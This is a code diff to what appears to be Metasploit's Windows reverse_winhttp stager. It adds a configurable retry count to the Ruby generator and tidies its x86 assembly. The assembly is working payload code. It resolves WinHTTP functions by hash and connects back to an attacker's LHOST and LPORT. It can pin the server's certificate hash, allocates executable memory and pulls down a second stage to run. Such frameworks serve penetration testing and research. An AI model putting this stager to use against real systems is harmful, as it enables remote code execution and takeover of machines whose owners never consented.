@@ -36,15 +36,17 @@ def generate
3636 ssl : false ,
3737 host : datastore [ 'LHOST' ] ,
3838 port : datastore [ 'LPORT' ] ,
39- url : generate_small_uri )
39+ url : generate_small_uri ,
40+ retry_count : datastore [ 'StagerRetryCount' ] )
4041 end
4142
4243 conf = {
4344 ssl : false ,
4445 host : datastore [ 'LHOST' ] ,
4546 port : datastore [ 'LPORT' ] ,
4647 url : generate_uri ,
47- exitfunk : datastore [ 'EXITFUNC' ]
48+ exitfunk : datastore [ 'EXITFUNC' ] ,
49+ retry_count : datastore [ 'StagerRetryCount' ]
4850 }
4951
5052 generate_reverse_winhttp ( conf )
@@ -98,28 +100,26 @@ def asm_generate_wchar_array(str)
98100 join ( "," )
99101 end
100102
103+
104+ #
105+ # Generate an assembly stub with the configured feature set and options.
101106 #
102- # Dynamic payload generation
107+ # @option opts [Bool] :ssl Whether or not to enable SSL
108+ # @option opts [String] :url The URI to request during staging
109+ # @option opts [String] :host The host to connect to
110+ # @option opts [Fixnum] :port The port to connect to
111+ # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
112+ # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
113+ # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
114+ # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
103115 #
104116 def asm_reverse_winhttp ( opts = { } )
105117
106-
107- verify_ssl = nil
118+ retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
119+ verify_ssl = nil
108120 encoded_cert_hash = nil
109-
110- #
111- # options can contain contain:
112- # ssl: (true|false)
113- # url: "/url_to_request"
114- # host: [hostname]
115- # port: [port]
116- # exitfunk: [process|thread|seh|sleep]
117- # verify_ssl: (true|false)
118- # verify_cert_hash: (40-byte SHA1 hash)
119- #
120-
121- encoded_url = asm_generate_wchar_array ( opts [ :url ] )
122- encoded_host = asm_generate_wchar_array ( opts [ :host ] )
121+ encoded_url = asm_generate_wchar_array ( opts [ :url ] )
122+ encoded_host = asm_generate_wchar_array ( opts [ :host ] )
123123
124124 if opts [ :ssl ] && opts [ :verify_cert ] && opts [ :verify_cert_hash ]
125125 verify_ssl = true
@@ -162,45 +162,38 @@ def asm_reverse_winhttp(opts={})
162162 end
163163
164164 asm << %Q^
165- set_retry:
166- push.i8 6 ; retry 6 times
167- pop edi
168- xor ebx, ebx
169- mov ecx, edi
170165
171- push_zeros:
172- push ebx ; NULL values for the WinHttpOpen API parameters
173- loop push_zeros
166+ xor ebx, ebx
174167
175168 WinHttpOpen:
176- ; Flags [5]
177- ; ProxyBypass (NULL) [4]
178- ; ProxyName (NULL) [3]
179- ; AccessType (DEFAULT_PROXY= 0) [2]
180- ; UserAgent (NULL) [1]
169+ push ebx ; Flags
170+ push ebx ; ProxyBypass (NULL)
171+ push ebx ; ProxyName (NULL)
172+ push ebx ; AccessType (DEFAULT_PROXY= 0)
173+ push ebx ; UserAgent (NULL) [1]
181174 push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
182175 call ebp
183176
184177 WinHttpConnect:
185- push ebx ; Reserved (NULL) [4]
178+ push ebx ; Reserved (NULL)
186179 push #{ opts [ :port ] } ; Port [3]
187180 call got_server_uri ; Double call to get pointer for both server_uri and
188- server_uri: ; server_host; server_uri is saved in EDI for later
181+ server_uri: ; server_host; server_uri is saved in edi for later
189182 db #{ encoded_url }
190183 got_server_host:
191- push eax ; Session handle returned by WinHttpOpen [1]
184+ push eax ; Session handle returned by WinHttpOpen
192185 push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
193186 call ebp
194187
195188 WinHttpOpenRequest:
196189
197190 push.i32 #{ "0x%.8x" % http_open_flags }
198- push ebx ; AcceptTypes (NULL) [6]
199- push ebx ; Referrer (NULL) [5]
200- push ebx ; Version (NULL) [4]
201- push edi ; ObjectName (URI) [3]
202- push ebx ; Verb (GET method) (NULL) [2]
203- push eax ; Connect handler returned by WinHttpConnect [1]
191+ push ebx ; AcceptTypes (NULL)
192+ push ebx ; Referrer (NULL)
193+ push ebx ; Version (NULL)
194+ push edi ; ObjectName (URI)
195+ push ebx ; Verb (GET method) (NULL)
196+ push eax ; Connect handle returned by WinHttpConnect
204197 push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
205198 call ebp
206199 xchg esi, eax ; save HttpRequest handler in esi
@@ -216,16 +209,21 @@ def asm_reverse_winhttp(opts={})
216209 ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
217210 ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
218211 mov eax, esp
219- push.i8 4 ; sizeof(buffer)
212+ push 4 ; sizeof(buffer)
220213 push eax ; &buffer
221- push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
214+ push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
222215 push esi ; hHttpRequest
223216 push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
224217 call ebp
225218 ^
226219 end
227220
228221 asm << %Q^
222+ ; Store our retry counter in the edi register
223+ set_retry:
224+ push #{ retry_count }
225+ pop edi
226+
229227 send_request:
230228
231229 WinHttpSendRequest:
@@ -271,14 +269,14 @@ def asm_reverse_winhttp(opts={})
271269
272270 asm << %Q^
273271 ssl_cert_get_context:
274- push.i8 4
272+ push 4
275273 mov ecx, esp ; Allocate &bufferLength
276- push.i8 0
274+ push 0
277275 mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
278276
279277 push ecx ; &bufferLength
280278 push ebx ; &buffer
281- push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
279+ push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
282280 push esi ; hHttpRequest
283281 push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
284282 call ebp
@@ -287,15 +285,15 @@ def asm_reverse_winhttp(opts={})
287285
288286 ; ebx
289287 ssl_cert_allocate_hash_space:
290- push.i8 20 ;
288+ push 20 ;
291289 mov ecx, esp ; Store a reference to the address of 20
292290 sub esp,[ecx] ; Allocate 20 bytes for the hash output
293291 mov edi, esp ; edi will point to our buffer
294292
295293 ssl_cert_get_server_hash:
296294 push ecx ; &bufferLength
297295 push edi ; &buffer (20-byte SHA1 hash)
298- push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
296+ push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
299297 push [ebx] ; *pCert
300298 push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
301299 call ebp
@@ -310,7 +308,7 @@ def asm_reverse_winhttp(opts={})
310308 pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
311309 ; edi points to the server-provided certificate hash
312310
313- push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
311+ push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
314312 pop ecx ;
315313 mov edx, ecx ; Keep a reference to 4 in edx
316314
@@ -332,8 +330,8 @@ def asm_reverse_winhttp(opts={})
332330 receive_response:
333331 ; The API WinHttpReceiveResponse needs to be called
334332 ; first to get a valid handle for WinHttpReadData
335- push ebx ; Reserved (NULL) [2]
336- push esi ; Request handler returned by WinHttpSendRequest [1]
333+ push ebx ; Reserved (NULL)
334+ push esi ; Request handler returned by WinHttpSendRequest
337335 push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
338336 call ebp
339337 test eax,eax
@@ -342,7 +340,7 @@ def asm_reverse_winhttp(opts={})
342340
343341 asm << %Q^
344342 allocate_memory:
345- push.i8 0x40 ; PAGE_EXECUTE_READWRITE
343+ push 0x40 ; PAGE_EXECUTE_READWRITE
346344 push 0x1000 ; MEM_COMMIT
347345 push 0x00400000 ; Stage allocation (4Mb ought to do us)
348346 push ebx ; NULL as we dont care where the allocation is
0 commit comments